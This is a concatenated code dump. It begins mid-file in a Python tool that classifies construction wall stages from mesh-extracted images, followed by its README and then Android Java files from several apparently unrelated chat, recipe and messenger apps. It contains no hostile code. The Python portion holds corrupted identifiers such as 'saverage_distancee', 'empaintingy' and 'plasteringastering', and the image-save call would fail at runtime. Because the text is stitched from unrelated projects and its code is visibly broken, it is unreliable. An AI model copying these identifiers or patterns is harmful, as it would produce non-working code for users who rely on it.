if truncate(math.cos(phi)*math.cos(rotation_x),4)==truncate(camera_z,4) and truncate(math.cos(phi)*math.sin(rotation_x),4)==truncate(camera_x,4) :
camera_x=int(540*rotation_x+2048)
camera_y=int(540*phi+1024)
elif truncate(math.cos(phi)*math.cos(math.pi-rotation_x),4)==truncate(camera_z,4) and truncate(math.cos(phi)*math.sin(math.pi-rotation_x),4)==truncate(camera_x,4) :
camera_x=int(540*(math.pi-rotation_x)+2048)
camera_y=int(540*phi+1024)
elif truncate(math.cos(math.pi-phi)*math.cos(rotation_y),4)==truncate(camera_z,4) and truncate(math.cos(math.pi-phi)*math.sin(rotation_y),4)==truncate(camera_x,4) :
camera_x=int(540*(rotation_y)+2048)
camera_y=int(540*(math.pi-phi)+1024)
elif truncate(math.cos(math.pi-phi)*math.cos(math.pi-rotation_y),4)==truncate(camera_z,4) and truncate(math.cos(math.pi-phi)*math.sin(math.pi-rotation_y),4)==truncate(camera_x,4):
camera_x=int(540*(math.pi-rotation_y)+2048)
camera_y=int(540*(math.pi-phi)+1024)
polygon.append([camera_x,camera_y])
convex_hull=ConvexHull(polygon) #Get convex hull of obtained pixels
sp_xy=[]
for h_v in convex_hull.vertices: #Extracting coordinates of hull to an array
sp_xy.append(polygon[h_v])
polygon_xy=Polygon(sp_xy)
coordinates=list(polygon_xy.exterior.coords)
polygon=[]
for c in range(len(coordinates)-1):
polygon.append((coordinates[c][0],coordinates[c][1]))
Image_array = np.asarray(image)
Image_mask = Image.new('L', (Image_array.shape[1], Image_array.shape[0]), 0) #Create mask for empty image
ImageDraw.Draw(Image_mask).polygon(polygon, outline=1, fill=1) #Draw the polygon using pixels as coordinates
mask = np.array(Image_mask)
shape=(Image_array.shape[0],Image_array.shape[1],4)
new_Image_Array = np.empty(shape,dtype='uint8') #Create empty image using old image dimensions
new_Image_Array[:,:,:3] = Image_array[:,:,:3] #Copy rgb values from old image
new_Image_Array[:,:,3] = mask*255 #Copy mask to new image
new_image = Image.fromarray(new_Image_Array, "RGBA") #Create image from array
datas = new_image.getdata() #Extract dats from new image
new_data = []
for item in datas:
if item[3]==0: #Check if alpha value is 0
new_data.append((0, 0, 0, 0)) #Convert pixel to black
else:
new_data.append(item)
new_image.putdata(new_data) #Convert cahnged dats to image
new_image.saverage_distancee('extracted_images/'+str(face[0])+'.png',optimize=True)#Saverage_distancee image<file_sep>/src/classify.py
import os
import cv2
import json
import numpy as np
from PIL import Image
import multiprocessing
from src.model import get_dilated_unet
##############################################################################################################################
def image_classification():
blue = [255,0,0]
green=[0,255,0]
red=[0,0,255]
white=[255,255,255]
image_input=os.listdir('extracted_images') #Create lsit of extracted images
model = get_dilated_unet(input_shape=(1024,1024, 3), mode='cascade', filters=32,n_class=4) #Initalize CNN
model.load_weights('./models/walls_model_weights.hdf5') # Add weights to the network
new_arr=[]
for img in image_input: #Take each image
if not(os.path.exists('classified_images/'+img)):
im = Image.open('extracted_images/'+img)
x_train = np.array(im,'f')
transparent_indices=np.argwhere(x_train[:,:,3]==0) #Create list of all transparent indices
transparent_indices=transparent_indices.tolist()
x=np.zeros((x_train.shape[0],x_train.shape[1],3)) #create an empaintingy image with same dimensions as original
width=0
img_size=1024
while width<x_train.shape[1]: #Crop image to remove memory errors
height=0
while height<x_train.shape[0]:
x_traintest=np.reshape(x_train[height:height+img_size,width:width+img_size,0:3],(1,1024,1024,3)) #reshape data for cnn
x_train1=model.predict(x_traintest) #predict on the image
y=np.zeros((1024,1024,3)) #Create empaintingy array with dimensions of cropped image
for i in range(0,1024): #Extract the predicted values as an image
for j in range(0,1024):
if(x_train1[0][i][j][0] > 0.50):
y[i][j] = blue
elif(x_train1[0][i][j][1] > 0.50):
y[i][j] = green
elif(x_train1[0][i][j][2] > 0.50):
y[i][j] = red
else:
y[i][j] =white
x[height:height+img_size,width:width+img_size,:3]=y #Add predicted data to full size empaintingy image
height=height+1024
width=width+1024
for i in transparent_indices: #Convert transparent indices from list to black color
x[i[0],i[1]]=[0,0,0]
cv2.imwrite('classified_images/'+img,x)
else:
x=cv2.imread('classified_images/'+img)
brickwork= np.count_nonzero(np.all(x==red,axis=2))
plastering=np.count_nonzero(np.all(x==green,axis=2))
whitecoat=np.count_nonzero(np.all(x==blue,axis=2))
painting=np.count_nonzero(np.all(x==white,axis=2))
new_object={img:{'children':[{'name':'Brickwork','progress':brickwork*100/(brickwork+plastering+whitecoat+painting)},{'name':'plasteringastering','progress':plastering*100/(brickwork+plastering+whitecoat+painting)},{'name':'Whitecoat','progress':whitecoat*100/(brickwork+plastering+whitecoat+painting)},{'name':'Painting','progress':painting*100/(brickwork+plastering+whitecoat+painting)}]}}
new_arr.append(new_object)
print(brickwork,plastering,whitecoat,painting)
print(img)
print('Brickwork:%s',brickwork/(brickwork+plastering+whitecoat+painting))
print('plasteringastering:%s',plastering/(brickwork+plastering+whitecoat+painting))
print('Whitecoat:%s',whitecoat/(brickwork+plastering+whitecoat+painting))
print('Painting:%s',painting/(brickwork+plastering+whitecoat+painting))
return new_arr
def image_classification2():
blue = [255,0,0]
green=[0,255,0]
red=[0,0,255]
white=[255,255,255]
image_input=os.listdir('sep_images') #Create lsit of extracted images
model = get_dilated_unet(input_shape=(1024,1024, 3), mode='cascade', filters=32,n_class=4) #Initalize CNN
model.load_weights('./models/walls_model_weights.hdf5') # Add weights to the network
new_arr=[]
for img in image_input: #Take each image
if not(os.path.exists('sepc_images/'+img)):
im = Image.open('sep_images/'+img)
wid,ht=im.size
im=im.resize(((wid//1024+1)*1024,(ht//1024+1)*1024))
x_train = np.array(im,'f')
x=np.zeros((x_train.shape[0],x_train.shape[1],3)) #create an empaintingy image with same dimensions as original
width=0
img_size=1024
while width<x_train.shape[1]: #Crop image to remove memory errors
height=0
while height<x_train.shape[0]:
x_traintest=np.reshape(x_train[height:height+img_size,width:width+img_size,0:3],(1,1024,1024,3)) #reshape data for cnn
x_train1=model.predict(x_traintest) #predict on the image
y=np.zeros((1024,1024,3)) #Create empaintingy array with dimensions of cropped image
for i in range(0,1024): #Extract the predicted values as an image
for j in range(0,1024):
if(x_train1[0][i][j][0] > 0.50):
y[i][j] = blue
elif(x_train1[0][i][j][1] > 0.50):
y[i][j] = green
elif(x_train1[0][i][j][2] > 0.50):
y[i][j] = red
else:
y[i][j] =white
x[height:height+img_size,width:width+img_size,:3]=y #Add predicted data to full size empaintingy image
height=height+1024
width=width+1024
x=cv2.resize(x, (wid,ht), interpolation = cv2.INTER_AREA)
cv2.imwrite('sepc_images/'+img,x)
else:
x=cv2.imread('sepc_images/'+img)
brickwork= np.count_nonzero(np.all(x==red,axis=2))
plastering=np.count_nonzero(np.all(x==green,axis=2))
whitecoat=np.count_nonzero(np.all(x==blue,axis=2))
painting=np.count_nonzero(np.all(x==white,axis=2))
new_object={img:{'children':[{'name':'Brickwork','progress':brickwork*100/(brickwork+plastering+whitecoat+painting)},{'name':'plasteringastering','progress':plastering*100/(brickwork+plastering+whitecoat+painting)},{'name':'Whitecoat','progress':whitecoat*100/(brickwork+plastering+whitecoat+painting)},{'name':'Painting','progress':painting*100/(brickwork+plastering+whitecoat+painting)}]}}
new_arr.append(new_object)
print(brickwork,plastering,whitecoat,painting)
print(img)
print('Brickwork:%s',brickwork/(brickwork+plastering+whitecoat+painting))
print('plasteringastering:%s',plastering/(brickwork+plastering+whitecoat+painting))
print('Whitecoat:%s',whitecoat/(brickwork+plastering+whitecoat+painting))
print('Painting:%s',painting/(brickwork+plastering+whitecoat+painting))
return new_arr
##############################################################################################################################
##############################################################################################################################
<file_sep>/main.py
import os
import sys
import json
import laspy
import runpy
from src import extract,classify
face=[[5.095,-16.676,2.179],[7.065,16.674,2.163,],[7.078,-16.691,1.136],[5.328,-16.710,1.047]]
mode=sys.argv[1]
if mode=='total':
extract.extract_image(face)
my_json=classify.image_classification()
with open('progress.json', 'w') as outfile: #Save the json file
json.dump(my_json, outfile)
elif mode=='images':
my_json=classify.image_classification2()
with open('sep_progress.json', 'w') as outfile: #Save the json file
json.dump(my_json, outfile)
<file_sep>/README.md
# Construction_progress_indoor
# Construction progress-outdoor module
This repository contains the code for predicting the outdoor progress of each component in BIM
# Steps For Installation:
```bash
git clone https://git.xyzinnotech.com/gopinath/construction_progress_outdoor.git
cd construction_progress_outdoor
pip install -r requirements-cpu.txt (If GPU is not available)
or
pip install -r requirements-gpu.txt (If GPU is available)
```
# Initial setup:
```bash
1.Download the stanford dataset from the following folder ,unzip it and place it the main folder:
https://drive.google.com/open?id=1nXq75Aru5HouRyEmAWzHceMe4jRo3ptv
2.Download the model from the following link and place it in the models folder:
https://drive.google.com/open?id=1ls0dzSUtZRcxk9vg9bMah-mJO67B5EzA
```
# How to test for the new dataset:
```bash
There are two modes for main.py.One mode is just classification of any image. Another mode is extracting element from 3d mesh as image and classifying it
1.For classification of wall images, place images of wall in sep_images and run python main.py images
2.For classification of element from 3d mesh, open the "rgb.obj" in 3d folder with cloud compare and select four points.Enter the points manually into main.py in face array and run python main.py total
```
# Where are my results stored :
```bash
1)The classfied images will be in sepc_images and stages of wall will be generated in "sep_progress.json"
2)The extracted image from mesh will be in extracted_images, classified image will be in classified_images and stages of wall will be generated in "progress.json"
```
| cb4db2937c6041a047c1d953a32b41720ca1d339 | [
"Markdown",
"Python",
"Text"
] | 6 | Text | Sagarl17/Construction_progress_indoor | 35f71351df01cb7788cdfacb4a7a81da64ace5d4 | 7f4e3678061c0e9e93bffea34e9f9bac33c10908 |
refs/heads/master | <file_sep>package com.example.hp.chattapp.Fragments;
import android.content.Context;
import android.net.Uri;
import android.os.Bundle;
import androidx.fragment.app.Fragment;
import androidx.recyclerview.widget.LinearLayoutManager;
import androidx.recyclerview.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Toast;
import com.example.hp.chattapp.Adapter.UserAdapter;
import com.example.hp.chattapp.Adapter.messageAdapter;
import com.example.hp.chattapp.Model.User;
import com.example.hp.chattapp.Model.chat;
import com.example.hp.chattapp.Model.chatList;
import com.example.hp.chattapp.R;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.auth.FirebaseUser;
import com.google.firebase.database.DataSnapshot;
import com.google.firebase.database.DatabaseError;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import com.google.firebase.database.ValueEventListener;
import java.util.ArrayList;
import java.util.List;
public class chatsFragment extends Fragment {
private RecyclerView recyclerView;
private UserAdapter userAdapter;
private List<User> mUsers;
FirebaseUser firebaseUser;
DatabaseReference reference;
private List<chatList> userlist;
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// Inflate the layout for this fragment
View view=inflater.inflate(R.layout.fragment_chats,container,false);
recyclerView=view.findViewById(R.id.recycler_view);
recyclerView.setHasFixedSize(true);
recyclerView.setLayoutManager(new LinearLayoutManager(getContext()));
firebaseUser=FirebaseAuth.getInstance().getCurrentUser();
userlist=new ArrayList<>();
reference=FirebaseDatabase.getInstance().getReference("Chatlist").child(FirebaseAuth.getInstance().getCurrentUser().getUid());
reference.addValueEventListener(new ValueEventListener() {
@Override
public void onDataChange(DataSnapshot dataSnapshot) {
userlist.clear();
for (DataSnapshot snapshot:dataSnapshot.getChildren())
{
// Toast.makeText(getContext(),"gello",Toast.LENGTH_SHORT).show();
chatList chatList=snapshot.getValue(chatList.class);
userlist.add(chatList);
}
chatList();
}
@Override
public void onCancelled(DatabaseError databaseError) {
}
});
return view;
}
private void chatList()
{
mUsers=new ArrayList<>();
reference=FirebaseDatabase.getInstance().getReference("Users");
reference.addValueEventListener(new ValueEventListener() {
@Override
public void onDataChange(DataSnapshot dataSnapshot) {
mUsers.clear();
for (DataSnapshot snapshot:dataSnapshot.getChildren())
{
User user=snapshot.getValue(User.class);
for (chatList chatList:userlist)
{
if (user.getId().equals(chatList.getId()))
{
mUsers.add(user);
}
}
}
userAdapter=new UserAdapter(getContext(),mUsers,true);
recyclerView.setAdapter(userAdapter);
}
@Override
public void onCancelled(DatabaseError databaseError) {
}
});
}
}
<file_sep>package com.sehrishsheikh.virtualcook;
import androidx.appcompat.app.AppCompatActivity;
import android.app.ActionBar;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.view.Window;
import android.view.WindowManager;
import android.widget.Button;
import com.google.firebase.auth.FirebaseAuth;
import com.sehrishsheikh.virtualcook.Login_Via_Account.ChefSideView.BNV;
public class HomeActivity extends AppCompatActivity
{
Button btn_insert;
Button btn_menu;
@Override
protected void onCreate(Bundle savedInstanceState)
{
//for hide top display
requestWindowFeature(Window.FEATURE_NO_TITLE);
this.getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN);
//ending
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_welcome_screen);
ActionBar actionBar = getActionBar();
getSupportActionBar().hide();
btn_insert = findViewById(R.id.btn_insert);
btn_menu = findViewById(R.id.btn_menu);
btn_insert.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(HomeActivity.this , BNV.class);
startActivity(intent);
finish();
}
});
btn_menu.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(HomeActivity.this , DrawerLayoutActivity.class);
startActivity(intent);
finish();
}
});
}
public void logout(View view)
{
FirebaseAuth.getInstance().signOut(); //logout of the user and once the user is logout he will move to login activity
startActivity(new Intent(getApplicationContext() , LoginActivity.class));
finish();
}
}
<file_sep>package com.sehrishsheikh.massenger;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.fragment.app.Fragment;
import androidx.fragment.app.FragmentManager;
import android.os.Bundle;
import android.view.MenuItem;
import com.google.android.material.bottomnavigation.BottomNavigationView;
import com.sehrishsheikh.massenger.Massenger_request.Friend_Rq_Class;
import com.sehrishsheikh.massenger.People.People_Class;
import com.sehrishsheikh.massenger.Setting.Setting_Class;
public class MainActivity extends AppCompatActivity implements BottomNavigationView.OnNavigationItemSelectedListener
{
//Toolbar toolbar;
BottomNavigationView bottomNavigationView;
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// toolbar = v.findViewById(R.id.toolbar);
//((AppCompatActivity)getActivity()).setSupportActionBar(toolbar);
bottomNavigationView = findViewById(R.id.navigation);
// toolbar.setTitle("Messenger");
bottomNavigationView.setOnNavigationItemSelectedListener(this);
if (savedInstanceState == null)
changeFragment(new Friend_Rq_Class(),"Messages");
}
public void changeFragment(Fragment fragment, String title) {
FragmentManager fragmentManager = getSupportFragmentManager();
FragmentManager fm = getSupportFragmentManager();
fragmentManager.beginTransaction()
.replace(R.id.layout, fragment)
.commit();
}
@Override
public boolean onNavigationItemSelected(@NonNull MenuItem menuItem) {
int id = menuItem.getItemId();
switch (id) {
case R.id.navigation_msg:
changeFragment(new Friend_Rq_Class(), "Messages");
break;
case R.id.navigation_ppl:
changeFragment(new People_Class(), "People");
break;
case R.id.navigation_settng:
changeFragment(new Setting_Class(), "Setting");
break;
}
bottomNavigationView.setOnNavigationItemSelectedListener(null);
bottomNavigationView.setSelectedItemId(id);
bottomNavigationView.setOnNavigationItemSelectedListener(this);
return false;
}
}<file_sep>package com.sehrishsheikh.virtualcook;
import androidx.appcompat.app.AppCompatActivity;
import android.app.ActionBar;
import android.app.Dialog;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.view.Window;
import android.view.WindowManager;
import android.view.animation.Animation;
import android.view.animation.AnimationUtils;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.Toast;
import com.google.android.gms.common.ConnectionResult;
import com.google.android.gms.common.GoogleApiAvailability;
public class MainActivity extends AppCompatActivity {
TextView tv1,tv2;
ImageView img;
@Override
protected void onCreate(Bundle savedInstanceState)
{
//for hide top display
requestWindowFeature(Window.FEATURE_NO_TITLE);
this.getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN);
//ending
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
ActionBar actionBar = getActionBar();
getSupportActionBar().hide();
//OR getSupportActionBar();
// actionBar.hide();
getSupportActionBar().hide();
//getActionBar().hide();
//intialization
tv1 = findViewById(R.id.tv_splash1);
tv2 = findViewById(R.id.tv_splash2);
img = findViewById(R.id.img_splash);
//animation code
Animation myanim = AnimationUtils.loadAnimation(this , R.anim.mytransition);
tv1.startAnimation(myanim);
tv2.startAnimation(myanim);
img.startAnimation(myanim);
//end
final Intent intent = new Intent(this ,Pager.class);
Thread timer = new Thread(){
public void run(){
try
{
sleep(4000);
}
catch (InterruptedException e)
{
e.printStackTrace();
}
finally
{
startActivity(intent);
finish();
}
}
};
timer.start();
}
}
<file_sep>package com.sehrishsheikh.virtualcook.Login_As_Guest.Home;
public class Model
{
String title , image , chef; //these names must match with the firebase database
//create constructor
public Model()
{
}
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
}
public String getImage() {
return image;
}
public void setImage(String image) {
this.image = image;
}
public String getchef() {
return chef;
}
public void setchef(String chef) {
this.chef = chef;
}
}
<file_sep>package com.sehrishsheikh.virtualcook.Login_Via_accountt.Packgae_Upload_Dishes;
import android.content.Context;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.TextView;
import androidx.annotation.NonNull;
import androidx.recyclerview.widget.RecyclerView;
import com.sehrishsheikh.virtualcook.R;
import com.squareup.picasso.Picasso;
import java.util.List;
public class ImageAdapter extends RecyclerView.Adapter<ImageAdapter.ImageViewHolder>
{
private Context mContext;
private List<Upload> mUploads;
public ImageAdapter(Context context, List<Upload> uploads)
{
mContext = context;
mUploads = uploads;
}
@NonNull
@Override
public ImageViewHolder onCreateViewHolder(@NonNull ViewGroup viewGroup, int i)
{
View v = LayoutInflater.from(mContext).inflate(R.layout.image_item, viewGroup, false);
return new ImageViewHolder(v);
}
@Override
public void onBindViewHolder(@NonNull ImageViewHolder imageViewHolder, int i)
{
Upload uploadCur = mUploads.get(i);
imageViewHolder.img_description.setText(uploadCur.getImgName());
Picasso.with(mContext)
.load(uploadCur.getImgUrl())
.placeholder(R.drawable.imagepreview)
.fit()
.centerCrop()
.into(imageViewHolder.image_view);
}
@Override
public int getItemCount()
{
return mUploads.size();
}
public class ImageViewHolder extends RecyclerView.ViewHolder
{
public TextView img_description;
public ImageView image_view;
public ImageViewHolder(@NonNull View itemView)
{
super(itemView);
img_description = itemView.findViewById(R.id.img_description);
image_view = itemView.findViewById(R.id.image_view);
}
}
}<file_sep>package com.sehrishsheikh.massenger.Setting;
import android.app.Activity;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.ImageView;
import android.widget.TextView;
import com.sehrishsheikh.massenger.R;
import java.util.ArrayList;
public class Setting_Adapter extends BaseAdapter
{
//(1)=>declaration
Activity activity;
ArrayList<Setting_Model> arrayList;
LayoutInflater inflater ;
//(2)=>construction
public Setting_Adapter(Activity activity , ArrayList<Setting_Model> arrayList)
{
this.activity = activity;
this.arrayList = arrayList;
this.inflater = activity.getLayoutInflater();
}
//(3)=>methods of base adapter
@Override
public int getCount() {
return arrayList.size();
}
@Override
public Setting_Model getItem(int position)
{
return arrayList.get(position);
}
@Override
public long getItemId(int position) {
return position;
}
@Override
public View getView(int position, View convertView, ViewGroup parent)
{
//(4)=>convert layout into a view
View v = convertView;
if( v == null)
{
v= inflater.inflate(R.layout.massenger_setting_pg ,null);
}
//(5)=>intialization
ImageView setting_icon = v.findViewById(R.id.setting_pg_icon_img1);
TextView setting_text = v.findViewById(R.id.setting_pg_txt_tv1);
//(6)=>call model for geting data
final Setting_Model model = getItem(position);
//(7)=>Setting data
setting_icon.setImageResource(model.getImg());
setting_text.setText(model.getText());
return v;
}
}
<file_sep>package com.example.hp.chattapp;
import androidx.appcompat.app.AppCompatActivity;
import androidx.appcompat.widget.Toolbar;
import android.content.Intent;
import android.inputmethodservice.ExtractEditText;
import android.os.Bundle;
import android.text.TextUtils;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.Task;
import com.google.firebase.auth.AuthResult;
import com.google.firebase.auth.FirebaseAuth;
public class loginActivity extends AppCompatActivity {
EditText email,password;
Button btnlogin;
FirebaseAuth auth;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_login);
Toolbar toolbar=findViewById(R.id.toolbar);
setSupportActionBar(toolbar);
getSupportActionBar().setTitle("Login");
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
email=(EditText)findViewById(R.id.email);
password=(EditText)findViewById(R.id.pas);
btnlogin=(Button)findViewById(R.id.btn_login);
auth=FirebaseAuth.getInstance();
btnlogin.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
String txt_email=email.getText().toString();
String txt_password=password.getText().toString();
if (TextUtils.isEmpty(txt_email)||TextUtils.isEmpty(txt_password))
{
Toast.makeText(loginActivity.this,"All fields are required",Toast.LENGTH_LONG).show();
}
else {
auth.signInWithEmailAndPassword(txt_email,txt_password)
.addOnCompleteListener(new OnCompleteListener<AuthResult>() {
@Override
public void onComplete(Task<AuthResult> task) {
if (task.isSuccessful())
{
Intent intent=new Intent(loginActivity.this,MainActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
finish();
}
else {
Toast.makeText(loginActivity.this,"Aunthentication Failed",Toast.LENGTH_SHORT).show();
}
}
});
}
}
});
}
}
<file_sep># virtualcook
Iot based Android App for sharing and deliver cooking recipes, gives you some recipes recommendations based on the time and ingredients that you have,Browse recipes from a variety of sources.
<file_sep>package com.sehrishsheikh.virtualcook.Login_Via_Account.ChefSideView.ThirdFragment;
import android.content.Intent;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.fragment.app.Fragment;
import com.sehrishsheikh.virtualcook.HomeActivity;
import com.sehrishsheikh.virtualcook.R;
public class SettingClass extends Fragment
{
Button btn_logout_back;
@Nullable
@Override
public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
View v = inflater.inflate(R.layout.activity_setting_class, container, false);
btn_logout_back = v.findViewById(R.id.logout_button_back);
btn_logout_back.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(getActivity(), HomeActivity.class);
startActivity(intent);
}
});
return v;
}
}
<file_sep>package com.sehrishsheikh.massenger.Massenger_request;
import android.os.Bundle;
import android.view.ContextMenu;
import android.view.LayoutInflater;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.widget.AdapterView;
import android.widget.ListView;
import android.widget.Toast;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.fragment.app.Fragment;
import com.sehrishsheikh.massenger.R;
import java.util.ArrayList;
public class Friend_Rq_Class extends Fragment {
ListView lstview;
Integer[] dp = {R.drawable.dp1, R.drawable.dp2, R.drawable.dp3, R.drawable.dp4, R.drawable.dp5,
R.drawable.dp1, R.drawable.dp2, R.drawable.dp3, R.drawable.dp4, R.drawable.dp5};
String[] title = {"Haya Ali", "Mena Shah", "Haya Ali", "Mena Shah", "Haya Ali",
"Mena Shah", "Haya Ali", "Mena Shah", "Haya Ali", "Mena Shah"};
String[] description = {"hi", "hey,u there?", "hi", "hey,u there?", "hi", "hey,u there?",
"hi", "hey,u there?", "hi", "hey,u there?"};
String[] day = {"Mon", "15 Jul", "Mon", "15 Jul", "Mon", "15 Jul",
"Mon", "15 Jul", "Mon", "15 Jul"};
ArrayList<Friend_Rq_Model> arrayList;
@Nullable
@Override
public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
View v = inflater.inflate(R.layout.frndreq_lstview, container, false);
lstview = v.findViewById(R.id.lstview_1);
registerForContextMenu(lstview);
arrayList = new ArrayList<>();
for (int i = 0; i < title.length; i++) {
Friend_Rq_Model friend_rq_model = new Friend_Rq_Model(title[i], description[i], day[i], dp[i]);
arrayList.add(friend_rq_model);
}
Friend_Rq_Adapter adapter = new Friend_Rq_Adapter(getActivity(), arrayList);
lstview.setAdapter(adapter);
return v;
}
@Override
public void onCreateContextMenu(ContextMenu menu, View v, ContextMenu.ContextMenuInfo menuInfo) {
getActivity().getMenuInflater().inflate(R.menu.context_menu, menu);
//getMenuInflater().inflate(R.menu.context_menu, menu);
super.onCreateContextMenu(menu, v, menuInfo);
}
@Override
public boolean onContextItemSelected(MenuItem item) {
AdapterView.AdapterContextMenuInfo info = (AdapterView.AdapterContextMenuInfo) item.getMenuInfo();
int listPosition = info.position;
Friend_Rq_Model model = arrayList.get(listPosition);//list item title
switch (item.getItemId()) {
case R.id.item_11:
Toast.makeText(getActivity(), "READ MSG", Toast.LENGTH_SHORT).show();
return true;
case R.id.item_22:
Toast.makeText(getActivity(), "MARK AS UNREAD", Toast.LENGTH_SHORT).show();
return true;
default:
return false;
}
}
}<file_sep>package com.sehrishsheikh.massenger.Setting;
public class Setting_Model
{
//(1)=>declaration
String text;
int img;
public Setting_Model(String text , int img) {
this.text = text;
this.img = img;
}
public String getText() {
return text;
}
public void setText(String text) {
this.text = text;
}
public int getImg() {
return img;
}
public void setImg(int img) {
this.img = img;
}
}
<file_sep>package com.sehrishsheikh.massenger.Massenger_request;
public class Friend_Rq_Model
{
String title, description,day;
int dp ;
public Friend_Rq_Model(String title, String description, String day, int dp)
{
this.title = title;
this.description = description;
this.day = day;
this.dp = dp;
}
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public String getDay() {
return day;
}
public void setDay(String day) {
this.day = day;
}
public int getDp() {
return dp;
}
public void setDp(int dp) {
this.dp = dp;
}
}
<file_sep>package com.sehrishsheikh.virtualcook.Login_As_Guest.Home;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.drawable.BitmapDrawable;
import android.graphics.drawable.Drawable;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.SearchView;
import android.widget.TextView;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.core.view.MenuItemCompat;
import androidx.fragment.app.Fragment;
import androidx.recyclerview.widget.GridLayoutManager;
import androidx.recyclerview.widget.RecyclerView;
import com.firebase.ui.database.FirebaseRecyclerAdapter;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import com.google.firebase.database.Query;
import com.sehrishsheikh.virtualcook.R;
import java.io.ByteArrayOutputStream;
public class HomeClass extends Fragment {
private SearchView searchView = null;
private SearchView.OnQueryTextListener queryTextListener;
RecyclerView myRecyclerView;
FirebaseDatabase myfirebaseDatabase;
DatabaseReference myRef;
@Nullable
@Override
public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
View v = inflater.inflate(R.layout.home, container, false);
//set toolbartitle color
//Toolbar toolbar = getActivity().findViewById(R.id.toolbar);
//toolbar.setBackgroundColor(ContextCompat.getColor(getActivity(),R.color.DeepSkyBlue));
// toolbar.setTitleTextColor(ContextCompat.getColor(getActivity(), R.color.gradStart));
//recyclerview
myRecyclerView = v.findViewById(R.id.recyclerView_RVID);
//finding listview
myRecyclerView.setHasFixedSize(true);
//set layout as linear layout
myRecyclerView.setLayoutManager(new GridLayoutManager(getActivity(), 2));
//send query to firebasedatabase
myfirebaseDatabase = FirebaseDatabase.getInstance();
myRef = myfirebaseDatabase.getReference("Recipe"); //Data is the folder in the firebase database
// return inflater.inflate(R.layout.fragment_main, container, false);
return v;
}
//search data code start
//search data
private void firebaseSearch(String searchText)
{
//convert string enter in search into lower case
String query = searchText.toLowerCase();
//Query firebaseSearchQuery = myRef.orderByChild("search").startAt(query).endAt(query + "\uf0ff");
Query firebaseSearchQuery = myRef.child("Recipe").orderByChild("search").startAt(query).endAt(query + "\uf0ff");
FirebaseRecyclerAdapter<Model, ViewHolder> firebaseRecyclerAdapter =
new FirebaseRecyclerAdapter<Model, ViewHolder>(
Model.class,
R.layout.home,
ViewHolder.class,
firebaseSearchQuery
) {
@Override
protected void populateViewHolder(ViewHolder viewHolder, Model model, int i) {
viewHolder.setDetails(getActivity().getApplicationContext(), model.getTitle(), model.getchef(), model.getImage());
}
};
//set adapter to reyclerview
myRecyclerView.setAdapter(firebaseRecyclerAdapter);
}
//search data code ends
//load data in recycler view
public void onStart() {
super.onStart();
FirebaseRecyclerAdapter<Model, ViewHolder> firebaseRecyclerAdapter =
new FirebaseRecyclerAdapter<Model, ViewHolder>(
Model.class,
R.layout.home_item,
ViewHolder.class,
myRef
) {
@Override
protected void populateViewHolder(ViewHolder viewHolder, Model model, int i) {
//set details is a method that has been defined in view holder class
viewHolder.setDetails(getActivity(), model.getTitle(), model.getchef(), model.getImage());
}
//item detail code start
@Override
public ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
ViewHolder viewHolder = super.onCreateViewHolder(parent, viewType);
viewHolder.setOnClickListener(new ViewHolder.ClickListener() {
@Override
public void onItemClick(View view, int position) {
//VIEWS
TextView myTitleTV = view.findViewById(R.id.rTitleTv_TVID);
